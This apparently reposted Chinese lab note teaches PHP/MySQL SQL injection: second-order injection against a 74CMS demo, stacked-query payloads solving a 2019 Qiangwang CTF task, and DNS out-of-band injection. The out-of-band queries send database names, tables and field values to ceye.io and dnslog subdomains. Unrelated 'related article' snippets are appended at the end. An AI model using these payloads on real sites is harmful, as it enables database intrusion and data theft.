045-WEB攻防-PHP应用SQL二次注入堆叠执行DNS带外功能点黑白盒条件

045-WEB攻防-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

#知识点:

1、PHP-MYSQL-SQL注入-二次注入&利用条件
2、PHP-MYSQL-SQL注入-堆叠注入&利用条件
3、PHP-MYSQL-SQL注入-带外注入&利用条件

演示案例:

➢PHP-MYSQL-二次注入-DEMO&74CMS
➢PHP-MYSQL-堆叠注入-DEMO&CTF强网
➢PHP-MYSQL-带外注入-DEMO&DNSLOG

Untitled

#PHP-MYSQL-二次注入-DEMO&74CMS

黑盒思路:分析功能有添加后对数据操作的地方(功能点)很难测出,sql语句的符号影响,转义不能直接看出,容错处理代码中是否有,找到在哪里触发(执行置入的sql语句))
白盒思路:insert后进入select或update的功能的代码块源代码去审
注入条件:插入时有转义函数或配置,后续有利用插入的数据(先插入后利用

1、DEMO-用户注册登录修改密码(使用报错回显)

Untitled

Untitled

  1. 注册新用户时,将注入的内容包含在注册的用户名后admin' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#**

  2. 成功注入,并查看数据库,数据库中也存放了响应的注入语句

  3. 正常登录:登陆后,随便输入旧密码和新密码,点击修改后,发现注入成功,错误回显版本号

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

需要注意的条件:实现二次注入,源码中有对应的转义(magic_quotes_gpc)或使用转义函数(addslashes

Untitled

Untitled

  1. 在注册用户逻辑中,首先使用addslashes 转义函数解析POST请求中的username,

  2. 在后方插入新用户记录的时候,执行的SQL语句则会变为INSERT INTO users (username,password) VALUES ('admin\' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#','123456') 给username中的单引号添加转义字符\

  3. 在添加进数据库之后,数据库会自动删除转义字符/,方便后面执行修改密码的时候,查询对应数据,执行二次注入

  4. 如果不使用,转义函数,则会出现报错

    1. 报错的原因是:sql注入语句中,提前闭合了单引号,造成后面的密码值无法对应到表中的password列

    Untitled

Untitled

  • addslashes 是一个 PHP 函数,用于对字符串中的特殊字符进行转义,返回在预定义的字符前添加反斜杠的字符串。

    string addslashes ( string $str )
    //参数:`$str` 是要进行转义的字符串。
    //返回值:返回转义后的字符串。

    返回在预定义的字符前添加反斜杠的字符串。

    预定义字符是:

    • 单引号(')
    • 双引号(")
    • 反斜杠(\)
  • magic_quotes_gpc 是一个在早期版本的 PHP 中存在的配置选项,其作用是自动对从 GET、POST 和 COOKIE 获取的数据进行转义。

    具体作用如下:

    1. 自动转义:magic_quotes_gpc 启用时,PHP 会在从 GETPOSTCOOKIE 中获取的数据中自动添加转义斜杠,使特殊字符成为安全的字符串。例如,单引号 ' 被转义为 \\'

    示例:

    // 假设 magic_quotes_gpc 已启用$user_input = "It's a sample input";
    // $user_input 变量包含 "It\\'s a sample input"// 在早期的 PHP 版本中,这样的输入在插入到数据库时会被自动转义

2、CMS-74CMS个人中心简历功能

  1. 配置并打开网址
  2. 前端对专业名称有长度限制,选中打开检查修改maxlength="120”值
  3. 在学校名称和专业名称注入:aa','fullname'=user()#
  4. 分析源码

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

#PHP-MYSQL-堆叠注入-DEMO&CTF强网

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,
例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存**在类似于mysqli_multi_query()这样的函数**,根据数据库类型决定是否支持多条语句执行.
支持堆叠数据库:MYSQL MSSQL Postgresql等

  1. 首先在数据库操作软件中Navicat Premium 16,使用:SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));语句,

    # **这是一个选择数据的查询,从名为 'news' 的表中选择所有列,其中 id 列的值为 1
    # 创建一个名为 'xxx' 的表,该表包含一个名为 'test' 的 VARCHAR(255) 类型的列**
    SELECT *FROM news WHERE id=1;CREATE TABLE xxx(test VARCHAR(255));
    
  2. 由于sql语句在Navicat Premium 16有特定解析,支持两个封号的语句拼接在一起执行

    Untitled

    Untitled

  3. 但是当该语句通过网址注入,由于php中多数执行sql语句的函数为mysqli_query()只能执行一条SQL:http://192.168.137.1:84/sqli/new.php?**id=1;CREATE TABLE xxx(test VARCHAR(255);**

    1. 所以不能识别执行,会报错

      Untitled

      Untitled

  4. 但是当php采用mysqli_multi_query函数接收并执行sql语句的时候

    1. 可以识别执行

    Untitled

Untitled

Untitled

1.目标存在SQL注入漏洞:

2.目标未对";"号进行过滤:

目标系统未对输入中的分号(;)进行有效的过滤或检查。分号在SQL中通常用于分隔多个SQL语句,因此,如果应用程序未正确过滤这些字符,攻击者可以利用这一点来注入多条SQL语句。

3.目标中间层查询数据库信息时可同时执行多条SQL语句:

在目标系统的中间层中,存在一种机制或函数,允许一次性执行多条SQL语句。这种情况通常出现在使用诸如 mysqli_multi_query() 或者 PDO::multi_query() 这样的函数时

2019强网杯-随便注(CTF题型)

';show databases;
';show tables;
';show columns from 1919810931114514;
';select flag from 1919810931114514;
';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句

  1. ';show databases;

    • 这似乎是尝试显示数据库
  2. ';show tables;

    • 类似于第一个,似乎是尝试显示表。
  3. ';show columns from 1919810931114514;

    • 另一次尝试从具有特定名称的表中显示列。
  4. ';select flag from 1919810931114514;

    • 类似于前一个,试图从表中选择名为’flag’的列。确保表和列存在。
  5. 由于提示不能使用select等,所以使用动态SQL语句,

    1. 将想要执行的语句,转换为Hex(16 进制)

    Untitled

    Untitled

  6. ';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

    1. execsql from @a;
    2. execute execsql;
      1. 在第一个步骤中,使用**execsql语句从用户变量@a中执行动态SQL。@a包含一个十六进制字符串,可能代表一个SQL查询语句。**
      2. 在第二个步骤中,使用**execute语句执行之前准备好的动态SQL,该SQL语句由第一步中的execsql**生成。
    • 这似乎是尝试使用用户变量进行动态SQL。在使用动态SQL时要小心,因为它可能存在安全风险。确保**@a**的内容是安全且经过正确清理的。

#PHP-MYSQL-带外注入-DEMO&DNSLOG

产生原因:有部分注入点是没有回显的,所有读取也是没回显的,采用带外的形式,回显数据

0.注入条件:

  • ROOT高权限且支持load_file()

  • **secure-file-priv=**设置→默认关闭,必须添加到MYsql的配置文件my.ini中

  • G:\develop\safety\phpstudy_pro\Extensions\MySQL5.7.26*my.ini*

    Untitled

    • secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILESELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
      • 如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
      • 如果没有设置,MySQL 将默认使用空值,表示禁用 LOAD DATA INFILESELECT ... INTO OUTFILE
    • 例如,如果 secure_file_priv 被设置为 f:\\,那么在执行 LOAD DATA INFILESELECT ... INTO OUTFILE 时,只允许读写位于 f:\\ 目录下的文件。
  • 如果源码有回显则直接注入即可文件读写利用http://192.168.137.1:84/sqli/new.php?id=1 union select 1,2,3,load_file(‘F:\\1.txt’),5,6

Untitled

1.使用平台

http://ceye.io(适用dnslog打不开的场景下)只需要记住每次登录,分配的identifier即可

http://www.dnslog.cn

Untitled

Untitled

2.带外应用场景:

解决**不回显,反向连接,SQL注入,命令执行,SSRF等**

  • SQL注入:

    select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa'));
    **and (select load_file(concat('//',(select database()),'.[rkmg30.ceye.io](http://rkmg30.ceye.io/)/abc')))**
    
  • 查询当前数据库

    Untitled

    id=1 and load_file(concat("\\\\",database(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\asdt"))
    
  • 查询其他数据库

    id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 0,1),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个数据库名
    limit 1,1 查询第二个数据库名**
    limit 2,1 查询第三个数据库名
    """
    

    Untitled

  • 查询版本号

    Untitled

    id=1 and load_file(concat("\\\\",version(),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    
  • 查询当前数据库dome01中第一个表名

    Untitled

    id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='dome01' limit 0,1 ),".[**rkmg30.ceye.io**](http://rkmg30.ceye.io/)\\xxx.txt"))
    """
    由于该DNS记录只能回显一个字段,所以因该使用limit,第一个参数是查询起始位置,第二个参数是查询个数
    **limit 0,1 查询第一个表名
    limit 1,1 查询第二个表名**
    limit 2,1 查询第三个表名
    """
    
  • 查询security数据库emails表下第一个列名

id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
  • 查询字段值 数据库名为security 表名emails 列名id

    id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".dbuh8a.ceye.io\\xxx.txt"))
    

#CMS-74CMS网址配置

Untitled

Untitled

Untitled

Untitled

Untitled

Untitled

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2813888.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

区块链智能合约开发

一.区块链的回顾 1.区块链 区块链实质上是一个去中心化、分布式的可进行交易的数据库或账本 特征: 去中心化:简单来说,在网络上一个或多个服务器瘫痪的情况下,应用或服务仍然能够持续地运行,这就是去中心化。服务和应用部署在…

一款开源.NET WPF界面库介绍

一款开源.NET WPF界面库介绍 这是一个WPF版的Layui前端UI样式库,该控件库参考了Web版本的LayUI风格,利用该控件库可以完成现代化UI客户端程序,让你的客户端看起来更加简洁丰富又不失美感 如何使用 步骤一 : 添加LayUI.Wpf Nuget包; Inst…

物业智能水电抄表管理系统

物业智能水电抄表管理系统是物业管理行业的关键技术之一,其结合了智能化、远程监控和数据分析等功能,为物业管理公司和业主提供了高效、精准的水电抄表管理解决方案。该系统具有多项优势,能够提升物业管理效率,降低成本&#xff0…

苍穹外卖-day12 - 工作台 - Apache POI - 导出运营数据Excel报表

课程内容 工作台 Apache POI 导出运营数据Excel报表 功能实现:工作台、数据导出 工作台效果图: 数据导出效果图: 在数据统计页面点击数据导出:生成Excel报表 1. 工作台 1.1 需求分析和设计 1.1.1 产品原型 工作台是系统运营…

当Web3叙事寒冬到来,游戏是否是冬日里的“一把火”?

出品|欧科云链研究院 作者|Jason Jiang 以太坊创始人Vitalik在2019年曾说:金融与游戏会是区块链最先落地的场景。 在DeFi金融创新驱动上个周期后,沉寂近两年的Web3游戏板块,如今似乎也在复苏。无论是频繁获得融资&a…

【推荐算法系列五】DeepFM 模型

文章目录 参考资料Sparse FeaturesDense EmbeddingsFM LayerHidden LayerOutput Units 优缺点DeepFM 的优点DeepFM 自身的缺点。 参考资料 DeepFM 中关于 整个发展过程, FM, PNN, wide&deep 的描述很给力。 所以FM在其中的含义就是low-order, deep 就是所谓的 …

IT廉连看——Uniapp——页面样式与布局

IT廉连看——Uniapp——页面样式与布局 目标: 了解样式与布局的规范 熟记px和rpx的区别 全局样式与index样式的区别 一、查看uniapp框架简介——尺寸单位 px尺寸单位的使用是贯穿始终的。 [IT廉连看] 二、尺寸单位——实操效果 1、打开Hbuilder X并进入in…

type may not be empty [type-empty]

原因是使用了规范commit信息的工具,你的提交信息不符合规范,所以被拒绝了 commit规范工具 commitlinthusky 解决方式一: 修改提交信息, 使其符合规范 git commit -m "feat: 新功能"使用Git Gui的使用以下格式写提交…

每日一题:最小生成树

板子&#xff1a; 最小生成树【模板】最小生成树 - 洛谷 代码实现&#xff1a; 稠密图 #include<bits/stdc.h> using namespace std; const int N510,INF0x3f3f3f3f; int n,m; int g[N][N],dis[N]; bool st[N]; int prim(){memset(dis,0x3f,sizeof dis);int res0;for…

SpringBoot中时间对象区分及相关处理

目录 1 前言 2 常见时间对象的区分 2.2 LocalTime 2.3 LocalDateTime 3 控制类接收参数的细节 4 时间对象间的转化 1 前言 本文主要是目的是让大家能够区分Java中常见时间对象&#xff0c;并熟悉使用细节及它们间的转化。 2 常见时间对象的区分 ​​​​​2.1 LocalDa…

Aethir推出其首次去中心化AI节点售卖

Aethir&#xff0c;去中心化GPU云基础设施领导者&#xff0c;宣布其备受期待的节点销售。Aethir是一家企业级的以AI和游戏为重点的GPU即服务提供商。Aethir的去中心化云计算基础设施使GPU提供商能够与需要NVIDIA的H100芯片提供强大AI/ML任务支持的企业客户相连接。 此外&#x…

YOLOv6-Openvino和ONNXRuntime推理【CPU】

1 环境&#xff1a; CPU&#xff1a;i5-12500 Python&#xff1a;3.8.18 2 安装Openvino和ONNXRuntime 2.1 Openvino简介 Openvino是由Intel开发的专门用于优化和部署人工智能推理的半开源的工具包&#xff0c;主要用于对深度推理做优化。 Openvino内部集成了Opencv、Tens…

SQLPro Studio:数据库管理的革命性工具 mac版

SQLPro Studio是一款强大的数据库管理和开发工具&#xff0c;它旨在提供高效、便捷和安全的数据库操作体验。无论是数据库管理员、开发人员还是数据分析师&#xff0c;SQLPro Studio都能满足他们在数据库管理、查询、设计和维护方面的需求。 SQLPro Studio mac版软件获取 首先…

历史新知网:寄快递寄个电脑显示器要多少钱?

以下文字信息由&#xff08;新史知识网&#xff09;编辑整理发布。 让我们赶紧来看看吧&#xff01; 问题1&#xff1a;快递寄电脑显示器要多少钱&#xff1f; 此物有多重&#xff1f; 顺丰寄就可以了&#xff0c;但是必须是原包装的&#xff0c;不然不好寄。 问题2&#xff1…

爆火的1分钟声音克隆GPT-SoVITS项目 linux系统 ubuntu22.04安装2天踩坑教程

原项目地址&#xff1a;https://github.com/RVC-Boss/GPT-SoVITS 1分钟素材&#xff0c;最后出来的效果确实不错。 1. cuda环境安装 cuda环境准备 根据项目要求在cuda11.8和12.3都测试了通过。我这里是用cuda11.8 cuda11.8安装教程&#xff1a; ubuntu 22.04 cuda多版本和…

vscode——本地配置(C和C++)(1)

本地配置C和C&#xff08;1&#xff09; 什么是vscodevscode和visual studio的区别vscode的本地配置汉化 vscode配置C和C环境创建全局变量安装插件编写C或C程序生成task.json文件生成.exe文件 今天我们来看看一个开发工具——vscode。 什么是vscode 在正式了解vscode之前&…

2024年腾讯云4核8G12M配置的轻量服务器同时支持多大访问量?

腾讯云4核8G服务器支持多少人在线访问&#xff1f;支持25人同时访问。实际上程序效率不同支持人数在线人数不同&#xff0c;公网带宽也是影响4核8G服务器并发数的一大因素&#xff0c;假设公网带宽太小&#xff0c;流量直接卡在入口&#xff0c;4核8G配置的CPU内存也会造成计算…

CPU处理器NUMA架构简介

在实际工作中&#xff0c;经常遇到服务器是否开启NUMA、NUMA绑定几颗Core、跨NUMA节点访问的性能下降等等话题。那么NUMA作为非一致性内存访问的多处理器架构&#xff0c;在架构上有什么特性、与SMP架构有哪些不同&#xff0c;调优策略等&#xff0c;本文将作简要介绍。 1、CPU…

一款兼容Win和Mac的iOS设备管理软件iMazing 3 for Windows新功能介绍

iMazing 3 for Windows是一款兼容Win和Mac的iOS设备管理软件。iMazing 3 for Windows能够将音乐、文件、消息和应用等数据从任何 iPhone、iPad 或 iPod 传输到 Mac 或 PC 上。 使用iMazing 3 for Windows独特的 iOS 备份功能保证数据安全:设定自动无线备份时间并支持快照;将备份…

SpringCloud微服务-Ribbon负载均衡

Ribbon负载均衡 文章目录 Ribbon负载均衡1、负载均衡实现原理2、负载均衡策略3、修改负载均衡规则4、饥饿加载 1、负载均衡实现原理 负载均衡实现的流程图&#xff1a; 回到了上个小节所讲述的LoadBalance注解&#xff0c;此注解的含义就是实现对RestTemplate服务的所有操作进…